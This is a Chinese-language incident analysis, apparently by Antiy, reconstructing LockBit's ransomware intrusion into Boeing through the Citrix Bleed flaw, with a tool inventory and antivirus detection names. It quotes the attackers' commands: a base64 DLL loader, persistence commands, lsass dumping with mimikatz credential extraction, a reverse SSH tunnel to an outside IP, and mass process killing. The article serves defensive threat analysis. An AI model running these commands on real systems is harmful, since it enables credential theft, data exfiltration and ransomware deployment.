混合执行体支撑杀伤链——波音遭遇勒索事件的攻击步骤与工具分析
按语:2023年12月30日,安天发布长篇分析报告《波音遭遇勒索攻击事件分析复盘——定向勒索的威胁趋势分析与防御思考》,包括事件的技术分析、过程还原、损失评估等内容,总结威胁发展趋势和防御侧的共性缺陷,对防范RaaS+定向勒索攻击提出了针对性建议。原报告2万5千字,部分读者反馈文献过长不便于阅读,建议我们选择重点章节单独重发。今日我们将报告关键章节第4章第1、2节,即攻击过程分析内容以独立篇目重新发送,对相关内容感兴趣的读者可点击《完整报告》阅读原报告。
攻击过程复盘
步骤1:LockBit勒索组织(后称攻击者)针对波音公司的Citrix NetScaler ADC 和 NetScaler Gateway 设备发动漏洞利用攻击,窃取有效用户的访问cookie。该漏洞无需额外权限,攻击者可在不需要任何权限的前提下,构造特定的数据包造成缓冲区溢出,可从 Citrix NetScaler ADC和 NetScaler Gateway 中越界检索身份验证会话 cookie等信息,通过cookie绕过身份验证,获取系统web登录权限,通过web功能配置植入木马进行信息窃取或勒索软件进行勒索攻击。
Citrix NetScaler ADC 和 NetScaler Gateway 均提供网关服务,其web管理界面可对http、dns进行详细的管理和配置,可篡改用户数据实现投毒,可对插件进行恶意更换,用户安装被恶意更换的插件后即可被控。
图1-1 Citrix配置界面
步骤2:攻击者利用窃取的cookie实现对波音公司边界服务器的访问,植入运行脚本123.ps1,实现释放并执行Downloader木马,从C2中下载各种远程软件、脚本、网络扫描等武器装备,Downloader可远程获取的装备清单如表4-1所示。
123.ps1脚本内容如下,功能为拼接base64编码,解码生成adobelib.dll文件(Downloader木马),以特定十六进制字符串作为参数加载该Downloader木马:
$y = "TVqQAAMA...<long base64 string>" $x = "RyEHABFQ...<long base64 string>" $filePath = "C:\Users\Public\adobelib.dll" $fileBytes = [System.Convert]::FromBase64String($y + $x) [System.IO.File]::WriteAllBytes($filePath, $fileBytes) rundll32 C:\Users\Public\adobelib.dll,main ed5d694d561c97b4d70efe934936286fe562addf7d6836f795b336d9791a5c44 |
攻击装备 | |||
123.ps1(初始脚本) | processhacker.exe(结束进程及服务) | psexec.exe(远程命令执行) | AnyDesk(远程控制软件) |
ad.ps1(域环境信息收集) | mimikatz.exe(凭证获取) | tniwinagent.exe(信息收集) | Splashtop(远程控制软件) |
veeam-get-creds.ps1(凭证收集) | proc.exe(进程dump) | Zoho(远程控制软件) | Action1(远程控制软件) |
secretsdump.py(凭证收集) | netscan.exe(网络扫描) | ConnectWise(远程控制软件) | Atera(远程控制软件) |
sysconf.bat(执行plink) | servicehost.exe(建立SSH隧道工具-plink) | Screenconnect(远程控制软件) | fixme it(远程控制软件) |
步骤3:攻击者将恶意dll文件配置为计划任务和将AnyDesk远程软件配置成服务来实现持久化访问该入口。AnyDesk是一款由德国公司AnyDesk Software GmbH推出的远程桌面软件。用户可以通过该软件远程控制计算机,同时还能与被控制的计算机之间进行文件传输,主要应用于客户日常运维和业务相关主机的远程管理。这一软件是常用网管工具、由正规软件研发企业发布,且有对应厂商数字签名,往往被作为白名单软件。但这也使攻击组织在活动中利用这类软件的远程管理功能实现持久访问、文件传输,并利用其是合法签名执行体来规避检测。
服务创建及计划任务添加所使用的命令如下:
schtasks.exe /create /tn " UpdateAdobeTask " /sc MINUTE /mo 10 /tr "'Mag.dll '" /f sc create AnyDesk binpath= c:\perflogs\ AnyDeskMSI.exe type=own start=auto displayname=AnyDesk |
安天 AVL SDK 反病毒引擎检测到AnyDesk后,会反馈输出 Riskware/Win32. AnyDesk作为命名,便于提醒网管判断是正常应用还是攻击者投放。
步骤4:攻击者使用合法的网络扫描工具探测目标内部网络服务,通过ADRecon脚本(ad.ps1)收集AD域信息,利用tniwinagent工具(信息收集)收集其他主机信息。ADRecon 是由澳大利亚信息安全服务提供商Sense of Security开发的一种收集有关 Active Directory 信息并生成报告的工具,该报告可以提供目标 AD 环境当前状态的整体情况。该工具采用PowerShell脚本语言编写,于2018年在Github开源。基于域环境信息收集功能,易被攻击者利用,其中FIN7黑客组织曾使用过该工具[1]。
安天 AVL SDK 反病毒引擎检测到的ADRecon后,会反馈输出 HackTool/PowerShell.ADRecon作为命名,便于提醒网管判断是正常应用还是攻击者投放。
步骤5:攻击者使用proc.exe(进程dump)工具获取lsass.exe进程内存,结合Mimikatz工具获取系统中的各类凭证;使用veeam-get-creds.ps1脚本从波音公司的veeam平台中获取保存的凭证;使用secretsdump.py从波音公司的Azure VM上获取各种账号数据库文件及注册表信息。相关使用命令如表4-2所示。
命令作用 | 命令内容 |
转储lsass进程内存 | proc.exe -accepteula -ma lsass.exe c:\perflogs\lsass.dmp |
从lsass进程转储文件中提取凭证 | mimikatz.exe "sekurlsa::minidump c:\perflogs\lsass.dmp " "sekurlsa::logonPasswords full" |
从veeam平台中提取凭证 | .\veeam-get-creds.ps1 |
从Azure VM平台中收集凭证 | secretsdump.py <domain>/<username>@<ip> -outputfile 1 |
Mimikatz(Mimikatz)是一款黄帽子(黑客)工具,最初由法国黑客Benjamin Delpy开发,并于2011年首次发布,该工具除了可执行文件版本外还存在脚本类型版本。Mimikatz的主要功能是获取和操控Windows操作系统中的凭证,如用户登录密码、Windows登录凭据(NTLM哈希和Kerberos票据)以及各种应用程序和服务的凭证。Mimikatz设计的目的是揭示Windows系统中密码和凭证管理的薄弱点,并用于安全专业人员的演示和教育目的。然而,由于其功能强大且广泛被黑客所利用,Mimikatz也被视为危险的工具,用于进行恶意攻击、数据窃取和潜在的勒索活动。凭借其高度灵活和兼容性,Mimikatz已被APT组织或网络犯罪组织应用于攻击活动中,其中安天于2020年监测到苦象组织使用PowerShell脚本形式的Mimikatz工具[2]。
安天 AVL SDK 反病毒引擎检测到的Mimikatz后,会反馈输出 HackTool/Win32.Mimikatz、HackTool/Win64.Mimikatz或Trojan/PowerShell.Mimikatz作为命名,便于提醒网管判断是正常应用还是攻击者投放。
ProcDump 是一个命令行实用程序,是Sysinternals Suite 系统组件的一部分,其主要目的是监视应用程序的 CPU 峰值并在峰值期间生成故障转储,管理员或开发人员可以使用它来确定峰值的原因。ProcDump 还包括挂起窗口监视(使用与 Windows 和任务管理器使用的窗口挂起相同的定义)、未处理的异常监视,并且可以根据系统性能计数器的值生成转储。它还可以用作通用进程转储实用程序,将其嵌入到其他脚本中。在本次事件中,该工具被攻击者利用其白名单特性及进程转储功能,结合Mimikatz工具获取系统凭证。
安天 AVL SDK 反病毒引擎检测到对应版本的ProcDump后,会反馈输出 RiskWare/Win32.ProcDump或RiskWare/Win64.ProcDump作为命名,便于提醒网管判断是正常应用还是攻击者投放。
步骤6:攻击者利用获取的各种凭证结合Psexec工具(远程命令执行),在波音内部网络其他主机上部署各种远程软件,获取更多其他服务器及主机的访问权限。Psexec是一个命令行网络管理工具,是Sysinternals Suite系统组件的一部分,其调用了Windows系统的内部接口,以远端Windows主机账户名、密码和要执行的本地可执行文件为输入参数,基于RPC$服务实现,将本地可执行文件推送到远端主机执行,其设计初衷是为了便于网络管理人员以实现敏捷的远程运营。但由于其作为命令行工具便于被调用封装,也导致极易被攻击者作为攻击工具使用,在完成口令破解后,实现一次性投放执行。早在2003年,广泛出现大量基于空口令和常见口令进行传播的系列“口令蠕虫”,大部分都使用了这个机制。特别是出品该系统组件的Sysinternals的团队在2006年7月18日被微软收购,导致其后续版本都带有微软的数字签名,所以也连带导致其会被较大比例的安全软件放行。
安天AVL SDK反病毒引擎检测到对应版本的Psexec后,会反馈输出 RiskWare/Win32.Psexec或RiskWare/Win64.Psexec作为命名,便于提醒网管判断是正常应用还是攻击者投放。
步骤7:利用远程访问软件传输步骤4至步骤6涉及的各种工具,循环执行步骤4至步骤6的各种操作,尽可能获取更多服务器及主机的访问权限。
步骤8:从已控制的系统中收集各种信息(包括备份文件等),并使用7z.exe工具进行压缩。
步骤9:通过plink.exe工具建立的SSH隧道回传数据;通过FTP协议回传数据(193.201.9[.]224);通过远程控制软件回传数据。pink.exe工具是PuTTY软件中的一个组件,主要功能类似于Linux系统上的ssh命令行工具,用于SSH连接远程主机,同时提供多种方式创建或管理SSH会话。由于其属于PuTTY软件的一个组件,具备数字签名,能够规避以数字签名作为白名单检测机制的终端防护软件的检测。
攻击者使用如下命令格式实现SSH隧道建立:
echo enter | c:\windows\servicehost.exe -ssh -r 8085:127.0.0.1:8085 <username>@168.100.9[.]137 -pw <password> |
步骤10:结束相关主机的数据库服务及进程、杀毒软件、其他阻碍勒索加密的进程。
攻击者使用如下命令结束相关进程及服务:
cmd.exe /q /c taskkill /f /im sqlwriter.exe /im winmysqladmin.exe /im w3sqlmgr.exe /im sqlwb.exe /im sqltob.exe /im sqlservr.exe /im sqlserver.exe /im sqlscan.exe /im sqlbrowser.exe /im sqlrep.exe /im sqlmangr.exe /im sqlexp3.exe /im sqlexp2.exe /im sqlex |
步骤11:将LockBit 3.0勒索软件通过远程控制软件部署到目标主机(数据价值高的、业务重要性强的)中并执行,实现加密勒索。对目标加密完成后,释放勒索信并修改桌面背景用以提示受害者,便于受害者根据勒索信中预留的联系方式与攻击者进行谈判,谈判内容包括支付赎金的数额和支付方式等。勒索软件及勒索信分析详见下节。
图1‑2 勒索信中的联系方式
攻击工具清单梳理
在本次攻击事件中,攻击者利用Citrix设备相关的CVE-2023-4966漏洞作为突破口,入侵后组合利用多种攻击装备实现网络攻击,例如使用多种带有数字签名的远程控制软件与受害系统建立远程连接,实现传播其他攻击装备;利用Process Hacker实现禁用和卸载与安全软件有关的进程和服务;通过ProcDump工具转储进程内存,结合Mimikatz实现凭证获取,使用NetScan进行网络扫描,用以发现与网络有关的信息等,攻击装备具体使用情况见下表:
装备类型 | 名称 | 装备来源 | 备注 |
漏洞利用 | Citrix Bleed(CVE-2023-4966) | 自研漏洞利用代码 | Citrix NetScaler ADC 和 NetScaler Gateway 设备的软件漏洞 |
脚本 | 123.ps1 | 自研脚本 | 解码并释放Downloader木马 |
ad.ps1 | 开源脚本(Github) | AD域侦察脚本,收集域内各种信息 | |
veeam-get-creds.ps1 | 开源脚本(Github) | 从Veeam平台获取保存的凭证信息 | |
secretsdump.py | 开源脚本(Github) | 从Azure VM上获取各类账户数据库信息(凭证) | |
sysconf.bat | 自研脚本 | 用于执行plink | |
黑客工具 | processhacker.exe | 公开软件 | 禁用和卸载与安全软件有关的进程和服务 |
mimikatz.exe | 开源软件 | 从内存和进程转储文件中获取凭证 | |
进程转储 | proc.exe | 公开软件 | 通过ProcDump工具转储lsass.exe内存,结合Mimikatz实现凭证获取 |
网络扫描 | netscan.exe | 公开软件 | 重命名Softperfect公司的网络扫描软件,实现网络扫描功能 |
端口转发 | servicehost.exe | 公开软件 | 重命名的plink(PuTTY Link),用于端口转发建立SSH隧道 |
远程执行 | psexec.exe | 公开软件 | 用于远程部署特定程序 |
TNI客户端 | tniwinagent.exe | 公开软件 | 用于发现网络环境中的其他用户,收集信息 |
远程软件 | Zoho | 公开软件 | 远程控制软件,用于建立远程连接,实现攻击装备传播 |
ConnectWise | 公开软件 | 远程控制软件,用于建立远程连接,实现攻击装备传播 | |
Screenconnect | 公开软件 | 远程控制软件,用于建立远程连接,实现攻击装备传播 | |
AnyDesk | 公开软件 | 远程控制软件,用于建立远程连接,实现攻击装备传播 | |
Splashtop | 公开软件 | 远程控制软件,用于建立远程连接,实现攻击装备传播 | |
Action1 | 公开软件 | 远程控制软件,用于建立远程连接,实现攻击装备传播 | |
Atera | 公开软件 | 远程控制软件,用于建立远程连接,实现攻击装备传播 | |
fixme it | 公开软件 | 远程控制软件,用于建立远程连接,实现攻击装备传播 |
参考链接
https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319
https://www.antiy.com/response/20200917.html